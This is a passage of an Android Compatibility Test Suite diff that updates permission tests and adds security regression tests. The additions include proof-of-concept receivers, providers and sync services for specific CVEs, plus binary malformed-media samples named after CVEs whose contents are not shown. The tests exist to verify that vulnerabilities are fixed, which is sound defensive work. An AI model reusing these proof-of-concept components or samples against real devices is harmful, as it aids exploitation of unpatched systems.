// Wait until jobs are set up
eventually(() -> {
- JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
-
- for (RegisteredJob job : dump.registeredJobs) {
- if (job.dump.sourceUserId == currentUserId
- && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)
- && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) {
- return;
- }
- }
-
- fail("Permission controller jobs not found");
+ assertTrue("LocationAccessCheck job not found",
+ isLocationAccessJobSetup(currentUserId));
}, UNEXPECTED_TIMEOUT_MILLIS);
}
+ private static boolean isLocationAccessJobSetup(int currentUserId) throws Exception {
+ JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+ for (RegisteredJob job : dump.registeredJobs) {
+ if (job.dump.sourceUserId == currentUserId
+ && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)
+ && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private static void setupLocationAccessCheckJob() {
+ // Setup location access check
+ Intent permissionControllerSetupIntent = new Intent(
+ ACTION_SET_UP_LOCATION_ACCESS_CHECK).setPackage(
+ PERMISSION_CONTROLLER_PKG).setFlags(FLAG_RECEIVER_FOREGROUND);
+
+ // Query for the setup broadcast receiver
+ List<ResolveInfo> resolveInfos = sContext.getPackageManager().queryBroadcastReceivers(
+ permissionControllerSetupIntent, 0);
+
+ if (resolveInfos.size() > 0) {
+ sContext.sendBroadcast(permissionControllerSetupIntent);
+ } else {
+ sContext.sendBroadcast(new Intent()
+ .setClassName(PERMISSION_CONTROLLER_PKG, LocationAccessCheckOnBootReceiver)
+ .setFlags(FLAG_RECEIVER_FOREGROUND)
+ .setPackage(PERMISSION_CONTROLLER_PKG));
+ }
+ }
+
/**
* Unregister {@link NotificationListener}.
*/
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 162f66a..1c9dc63 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6462,6 +6462,13 @@
<permission android:name="android.permission.SET_UNRESTRICTED_KEEP_CLEAR_AREAS"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an app to set gesture exclusion without restrictions on the vertical extent of the
+ exclusions (see {@link android.view.View#setSystemGestureExclusionRects}).
+ @hide
+ -->
+ <permission android:name="android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION"
+ android:protectionLevel="signature|privileged|recents" />
+
<!-- Allows an UID to be visible to the application based on an interaction between the
two apps. This permission is not intended to be held by apps.
@hide @TestApi -->
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 71442c7..d723e05 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -15,9 +15,13 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="com.android.car.updatable" >
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android" >
+ <!--
+ This file contains the permissions defined by CarService-Builtin(com.android.car)
+ and CarService-updatable(com.[google.]?android.car.updatable). As this is only a
+ resource file, permissions from both packages can be added here.
+ -->
<permission-group android:name="android.car.permission-group.CAR_MONITORING"
android:icon="@drawable/perm_group_car"
android:description="@string/car_permission_desc"
@@ -474,4 +478,8 @@
android:protectionLevel="signature|privileged"
android:label="@string/car_permission_label_control_car_app_launch"
android:description="@string/car_permission_desc_control_car_app_launch"/>
+ <permission android:name="android.car.permission.MANAGE_THREAD_PRIORITY"
+ android:protectionLevel="signature|privileged"
+ android:label="@string/car_permission_label_thread_priority"
+ android:description="@string/car_permission_desc_thread_priority"/>
</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index edfcf3a..752a794 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -71,6 +71,9 @@
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
+ private static final String SET_UNRESTRICTED_GESTURE_EXCLUSION
+ = "android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -130,6 +133,35 @@
declaredPermissionsMap.putAll(
getPermissionsForPackage(sContext, carServicePackageName));
+
+ // Load signature permission declared in CarService-builtin
+ String carServiceBuiltInPackageName = "com.android.car";
+ Map<String, PermissionInfo> carServiceBuiltInPermissionsMap = getPermissionsForPackage(
+ sContext, carServiceBuiltInPackageName);
+ // carServiceBuiltInPermissionsMap should only have signature permissions and those
+ // permissions should not be defined in car service updatable.
+ for (Map.Entry<String, PermissionInfo> permissionData : carServiceBuiltInPermissionsMap
+ .entrySet()) {
+ PermissionInfo carServiceBuiltInDeclaredPermission = permissionData.getValue();
+ String carServiceBuiltInDeclaredPermissionName = permissionData.getKey();
+
+ // Signature only permission should be defined in built-in car service
+ if ((carServiceBuiltInDeclaredPermission
+ .getProtection() != PermissionInfo.PROTECTION_SIGNATURE)
+ || (carServiceBuiltInDeclaredPermission.getProtectionFlags() != 0)) {
+ offendingList.add("Permission " + carServiceBuiltInDeclaredPermissionName
+ + " should be signature only permission to be declared in"
+ + " carServiceBuiltIn package.");
+ continue;
+ }
+
+ if (declaredPermissionsMap.get(carServiceBuiltInDeclaredPermissionName) != null) {
+ offendingList.add("Permission " + carServiceBuiltInDeclaredPermissionName
+ + " from car service builtin is already declared in other packages.");
+ continue;
+ }
+ }
+ declaredPermissionsMap.putAll(carServiceBuiltInPermissionsMap);
}
for (ExpectedPermissionInfo expectedPermission : expectedPermissions) {
@@ -475,6 +507,8 @@
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ case SET_UNRESTRICTED_GESTURE_EXCLUSION:
+ return true;
default:
return false;
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
index 6693aa3..8bd15373 100644
--- a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
@@ -20,6 +20,7 @@
import android.os.Build
import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assume
import org.junit.Test
/**
@@ -96,6 +97,8 @@
@Test
fun testWhenVisualIsDeniedManuallyThenShouldDenyAllPermissions() {
+ // TODO: Re-enable after b/239249703 is fixed
+ Assume.assumeFalse("skip on TV due to flaky", isTv)
installPackage(APP_APK_PATH_23)
grantAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23)
revokeAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23)
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
index 8cff38a..67fa1bc 100644
--- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -25,6 +25,7 @@
import android.content.ContextParams
import android.content.Intent
import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
import android.net.Uri
import android.os.Bundle
import android.os.Process
@@ -44,6 +45,7 @@
import com.google.common.truth.Truth.assertThat
import org.junit.After
import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
import org.junit.Before
import org.junit.Test
import org.mockito.ArgumentMatcher
@@ -105,6 +107,7 @@
@Throws(Exception::class)
fun testSelfSmsAccess() {
assumeNotTv()
+ assumeHasTelephony()
testSelfAccess(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -178,6 +181,7 @@
@Throws(Exception::class)
fun testUntrustedSmsAccessAttributeToAnother() {
assumeNotTv()
+ assumeHasTelephony()
testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -225,6 +229,7 @@
@Throws(Exception::class)
fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
assumeNotTv()
+ assumeHasTelephony()
testUntrustedAccessAttributeToAnotherThroughIntermediary(
Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
@@ -323,6 +328,7 @@
@Throws(Exception::class)
fun testTrustedAccessSmsAttributeToAnother() {
assumeNotTv()
+ assumeHasTelephony()
testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -666,6 +672,7 @@
get() = InstrumentationRegistry.getInstrumentation()
private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK)
+ private val isTel = context.packageManager.hasSystemFeature(FEATURE_TELEPHONY)
fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
@@ -1178,5 +1185,6 @@
}
private fun assumeNotTv() = assumeFalse(isTv)
+ private fun assumeHasTelephony() = assumeTrue(isTel)
}
}
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index 29cf672..782f30c 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -103,7 +103,8 @@
}
private void assertScreenshotsAreEqual(Bitmap before, Bitmap after) {
- assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after));
+ // TODO(b/227553681): remove the precision=0.99 arg so it does a pixel-by-pixel check
+ assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after, 0.99));
}
private void assertTextShown(String text) {
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index d51c540..88f45e2 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -371,6 +371,7 @@
private File copyResourceToFile(int sourceResId, File destinationDir,
String destinationFileName) throws Exception {
final File file = new File(destinationDir, destinationFileName);
+ destinationDir.mkdirs();
file.createNewFile();
try (InputStream source = InstrumentationRegistry.getTargetContext().getResources()
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 00a1e37..0cf3dd5 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -35,6 +35,7 @@
"platform-test-annotations",
"sts-device-util",
"hamcrest-library",
+ "NeneInternal",
],
libs: [
"android.test.runner",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 186c5e2..afdddfd 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -28,6 +28,9 @@
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+
<!-- For FileIntegrityManager -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
@@ -201,6 +204,34 @@
</intent-filter>
</activity>
+ <receiver android:name="android.security.cts.CVE_2022_20420.PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_CVE_2022_20420" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <activity android:name="android.security.cts.ActivityManagerTest$ActivityOptionsActivity" />
+ <activity android:name="android.security.cts.ActivityManagerTest$BaseActivity" />
+
+ <provider android:name="android.security.cts.CVE_2022_20358.PocContentProvider"
+ android:authorities="android.security.cts.CVE_2022_20358.provider"
+ android:enabled="true"
+ android:exported="true" />
+
+ <service android:name="android.security.cts.CVE_2022_20358.PocSyncService"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.content.SyncAdapter" />
+ </intent-filter>
+ <meta-data android:name="android.content.SyncAdapter"
+ android:resource="@xml/syncadapter" />
+ </service>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
index b9694c3..24e55c5 100644
--- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -22,4 +22,5 @@
int getAllocationSize(in BitmapWrapper bitmap);
boolean didReceiveBitmap(in BitmapWrapper bitmap);
boolean ping();
+ void exit();
}
diff --git a/tests/tests/security/res/raw/cve_2022_22083.ape b/tests/tests/security/res/raw/cve_2022_22083.ape
new file mode 100644
index 0000000..05d6d73
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22083.ape
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22084.qcp b/tests/tests/security/res/raw/cve_2022_22084.qcp
new file mode 100644
index 0000000..c41d21e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22084.qcp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22085.dts b/tests/tests/security/res/raw/cve_2022_22085.dts
new file mode 100644
index 0000000..3a88631
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22085.dts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22086.3gp b/tests/tests/security/res/raw/cve_2022_22086.3gp
new file mode 100644
index 0000000..715d10c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22086.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22087.mkv b/tests/tests/security/res/raw/cve_2022_22087.mkv
new file mode 100644
index 0000000..0b25fe4
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22087.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25657.mkv b/tests/tests/security/res/raw/cve_2022_25657.mkv
new file mode 100644
index 0000000..3d5f70e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25657.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_25659.mkv b/tests/tests/security/res/raw/cve_2022_25659.mkv
new file mode 100644
index 0000000..9eda647
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25659.mkv
Binary files differ
diff --git a/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
new file mode 100644
index 0000000..cb567e3
--- /dev/null
+++ b/tests/tests/security/res/xml/device_admin_CVE_2022_20420.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<device-admin>
+ <uses-policies>
+ </uses-policies>
+</device-admin>
diff --git a/tests/tests/security/res/xml/syncadapter.xml b/tests/tests/security/res/xml/syncadapter.xml
new file mode 100644
index 0000000..478fad5
--- /dev/null
+++ b/tests/tests/security/res/xml/syncadapter.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
+ android:accountType="CVE_2022_20358_acc"
+ android:isAlwaysSyncable="true" />
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index f16b8fb..116d21e 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,28 +15,134 @@
*/
package android.security.cts;
+import static android.app.ActivityOptions.ANIM_SCENE_TRANSITION;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NO_USER_ACTION;
+import static android.view.Window.FEATURE_ACTIVITY_TRANSITIONS;
+
import static org.junit.Assert.*;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
import android.app.ActivityManager;
-import android.app.ApplicationExitInfo;
+import android.app.ActivityOptions;
+import android.app.Application;
+
+import android.app.UiAutomation;
import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
import android.os.IBinder;
+import android.os.RemoteException;
+
+import android.os.Process;
+import android.os.UserHandle;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import androidx.test.runner.AndroidJUnit4;
+import android.view.SurfaceControl;
+import android.window.IRemoteTransition;
+import android.window.IRemoteTransitionFinishedCallback;
+import android.window.RemoteTransition;
+import android.window.TransitionInfo;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import com.android.compatibility.common.util.ShellUtils;
import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import junit.framework.TestCase;
-import java.lang.reflect.InvocationTargetException;
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.util.concurrent.Callable;
+
@RunWith(AndroidJUnit4.class)
public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
+ private boolean canSupportMultiuser() {
+ String output = ShellUtils.runShellCommand("pm get-max-users");
+ if (output.contains("Maximum supported users:")) {
+ return Integer.parseInt(output.split(": ", 2)[1].trim()) > 1;
+ }
+ return false;
+ }
+
+ @AsbSecurityTest(cveBugId = 217934898)
+ @Test
+ public void testActivityManager_registerUidChangeObserver_onlyNoInteractAcrossPermission()
+ throws Exception {
+ if (!canSupportMultiuser()) {
+ return;
+ }
+ String out = "";
+ final UidImportanceObserver observer = new UidImportanceObserver();
+ final ActivityManager mActMan = (ActivityManager) getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ final int currentUser = mActMan.getCurrentUser();
+ try {
+
+ mActMan.addOnUidImportanceListener(observer,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND);
+
+ out = ShellUtils.runShellCommand("pm create-user testUser");
+ out = out.length() > 2 ? out.substring(out.length() - 2) : out;
+
+ ShellUtils.runShellCommand("am switch-user " + out);
+
+ Thread.sleep(5000);
+ assertFalse(observer.didObserverOtherUser());
+ } finally {
+ ShellUtils.runShellCommand("am switch-user " + currentUser);
+ ShellUtils.runShellCommand("pm remove-user " + out);
+ mActMan.removeOnUidImportanceListener(observer);
+ }
+ }
+
+ @AsbSecurityTest(cveBugId = 217934898)
+ @Test
+ public void testActivityManager_registerUidChangeObserver_allPermission()
+ throws Exception {
+ if (!canSupportMultiuser()) {
+ return;
+ }
+ String out = "";
+ final UidImportanceObserver observer = new UidImportanceObserver();
+ final ActivityManager mActMan = (ActivityManager) getContext()
+ .getSystemService(Context.ACTIVITY_SERVICE);
+ final int currentUser = mActMan.getCurrentUser();
+ final UiAutomation uiAutomation =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ uiAutomation
+ .adoptShellPermissionIdentity("android.permission.INTERACT_ACROSS_USERS_FULL");
+ try {
+ mActMan.addOnUidImportanceListener(observer,
+ ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND);
+
+ out = ShellUtils.runShellCommand("pm create-user testUser");
+ out = out.length() > 2 ? out.substring(out.length() - 2) : out;
+
+ ShellUtils.runShellCommand("am switch-user " + out);
+
+ Thread.sleep(5000);
+ assertTrue(observer.didObserverOtherUser());
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ ShellUtils.runShellCommand("am switch-user " + currentUser);
+ ShellUtils.runShellCommand("pm remove-user " + out);
+ mActMan.removeOnUidImportanceListener(observer);
+ }
+ }
+
@AsbSecurityTest(cveBugId = 19394591)
@Test
public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
@@ -111,6 +217,51 @@
assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
}
+ @AsbSecurityTest(cveBugId = 237290578)
+ @Test
+ public void testActivityManager_stripTransitionFromActivityOptions() throws Exception {
+ Context targetContext = getInstrumentation().getTargetContext();
+
+ // Need to start a base activity since this requires shared element transition.
+ final Intent baseIntent = new Intent(targetContext, BaseActivity.class);
+ baseIntent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+ final BaseActivity baseActivity = (BaseActivity) SystemUtil.callWithShellPermissionIdentity(
+ () -> getInstrumentation().startActivitySync(baseIntent));
+
+ RemoteTransition someRemote = new RemoteTransition(new IRemoteTransition.Stub() {
+ @Override
+ public void startAnimation(IBinder token, TransitionInfo info,
+ SurfaceControl.Transaction t,
+ IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+ t.apply();
+ finishCallback.onTransitionFinished(null /* wct */, null /* sct */);
+ }
+
+ @Override
+ public void mergeAnimation(IBinder token, TransitionInfo info,
+ SurfaceControl.Transaction t, IBinder mergeTarget,
+ IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+ }
+ });
+ ActivityOptions opts = ActivityOptions.makeRemoteTransition(someRemote);
+ assertTrue(waitUntil(() -> baseActivity.mResumed));
+ ActivityOptions sceneOpts = baseActivity.mSceneOpts;
+ assertEquals(ANIM_SCENE_TRANSITION, sceneOpts.getAnimationType());
+
+ // Prepare the intent
+ final Intent intent = new Intent(targetContext, ActivityOptionsActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+ final Bundle optionsBundle = opts.toBundle();
+ optionsBundle.putAll(sceneOpts.toBundle());
+ final ActivityOptionsActivity activity =
+ (ActivityOptionsActivity) SystemUtil.callWithShellPermissionIdentity(
+ () -> getInstrumentation().startActivitySync(intent, optionsBundle));
+ assertTrue(waitUntil(() -> activity.mResumed));
+
+ assertTrue(activity.mPreCreate || activity.mPreStart);
+ assertNull(activity.mReceivedTransition);
+ }
+
/**
* Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
*/
@@ -122,4 +273,130 @@
}
return System.nanoTime() - start;
}
+
+ private boolean waitUntil(Callable<Boolean> test) throws Exception {
+ long timeoutMs = 2000;
+ final long timeout = System.currentTimeMillis() + timeoutMs;
+ while (!test.call()) {
+ final long waitMs = timeout - System.currentTimeMillis();
+ if (waitMs <= 0) break;
+ try {
+ wait(timeoutMs);
+ } catch (InterruptedException e) {
+ // retry
+ }
+ }
+ return test.call();
+ }
+
+ public static class BaseActivity extends Activity {
+ public boolean mResumed = false;
+ public ActivityOptions mSceneOpts = null;
+
+ @Override
+ public void onCreate(Bundle i) {
+ super.onCreate(i);
+ getWindow().requestFeature(FEATURE_ACTIVITY_TRANSITIONS);
+ mSceneOpts = ActivityOptions.makeSceneTransitionAnimation(this);
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+ mResumed = true;
+ }
+ }
+
+ public static class ActivityOptionsActivity extends Activity {
+ public RemoteTransition mReceivedTransition = null;
+ public boolean mPreCreate = false;
+ public boolean mPreStart = false;
+ public boolean mResumed = false;
+
+ public ActivityOptionsActivity() {
+ registerActivityLifecycleCallbacks(new Callbacks());
+ }
+
+ private class Callbacks implements Application.ActivityLifecycleCallbacks {
+ private void accessOptions(Activity activity) {
+ try {
+ Field mPendingOptions = Activity.class.getDeclaredField("mPendingOptions");
+ mPendingOptions.setAccessible(true);
+ ActivityOptions options = (ActivityOptions) mPendingOptions.get(activity);
+ if (options != null) {
+ mReceivedTransition = options.getRemoteTransition();
+ }
+ } catch (ReflectiveOperationException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @Override
+ public void onActivityPreCreated(Activity activity, Bundle i) {
+ mPreCreate = true;
+ if (mReceivedTransition == null) {
+ accessOptions(activity);
+ }
+ }
+
+ @Override
+ public void onActivityPreStarted(Activity activity) {
+ mPreStart = true;
+ if (mReceivedTransition == null) {
+ accessOptions(activity);
+ }
+ }
+
+ @Override
+ public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+ }
+
+ @Override
+ public void onActivityStarted(Activity activity) {
+ }
+
+ @Override
+ public void onActivityResumed(Activity activity) {
+ mResumed = true;
+ }
+
+ @Override
+ public void onActivityPaused(Activity activity) {
+ }
+
+ @Override
+ public void onActivityStopped(Activity activity) {
+ }
+
+ @Override
+ public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+ }
+
+ @Override
+ public void onActivityDestroyed(Activity activity) {
+ }
+ }
+ }
+
+ static final class UidImportanceObserver implements ActivityManager.OnUidImportanceListener {
+
+ private boolean mObservedNonOwned = false;
+ private int mMyUid;
+
+ UidImportanceObserver() {
+ mMyUid = UserHandle.getUserId(Process.myUid());
+ }
+
+ public void onUidImportance(int uid, int importance) {
+ Log.i("ActivityManagerTestObserver", "Observing change for "
+ + uid + " by user " + UserHandle.getUserId(uid));
+ if (UserHandle.getUserId(uid) != mMyUid) {
+ mObservedNonOwned = true;
+ }
+ }
+
+ public boolean didObserverOtherUser() {
+ return this.mObservedNonOwned;
+ }
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
index c532e05..ec39ab0 100644
--- a/tests/tests/security/src/android/security/cts/BitmapService.java
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -40,6 +40,11 @@
public boolean ping() {
return true;
}
+
+ @Override
+ public void exit() {
+ System.exit(0);
+ }
};
@Nullable
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 5ce81fd..0527366 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -25,11 +25,12 @@
import android.os.BadParcelableException;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import com.google.common.util.concurrent.AbstractFuture;
import org.junit.After;
@@ -48,6 +49,7 @@
private Instrumentation mInstrumentation;
private PeerConnection mRemoteConnection;
private IBitmapService mRemote;
+ private Intent mIntent;
public static class PeerConnection extends AbstractFuture<IBitmapService>
implements ServiceConnection {
@@ -80,6 +82,9 @@
if (mRemoteConnection != null) {
final Context context = mInstrumentation.getContext();
context.unbindService(mRemoteConnection);
+ try {
+ mRemote.exit();
+ } catch (Exception ex) { }
mRemote = null;
mRemoteConnection = null;
}
@@ -88,12 +93,11 @@
IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
if (mRemote == null) {
final Context context = mInstrumentation.getContext();
- Intent intent = new Intent();
- intent.setComponent(new ComponentName(
+ mIntent = new Intent();
+ mIntent.setComponent(new ComponentName(
"android.security.cts", "android.security.cts.BitmapService"));
mRemoteConnection = new PeerConnection();
- context.bindService(intent, mRemoteConnection,
- Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE);
mRemote = mRemoteConnection.get();
}
return mRemote;
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index ab05f91..0374220 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -15,14 +15,13 @@
*/
package android.security.cts;
-import static android.os.Process.BLUETOOTH_UID;
-
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.bedstead.nene.TestApis;
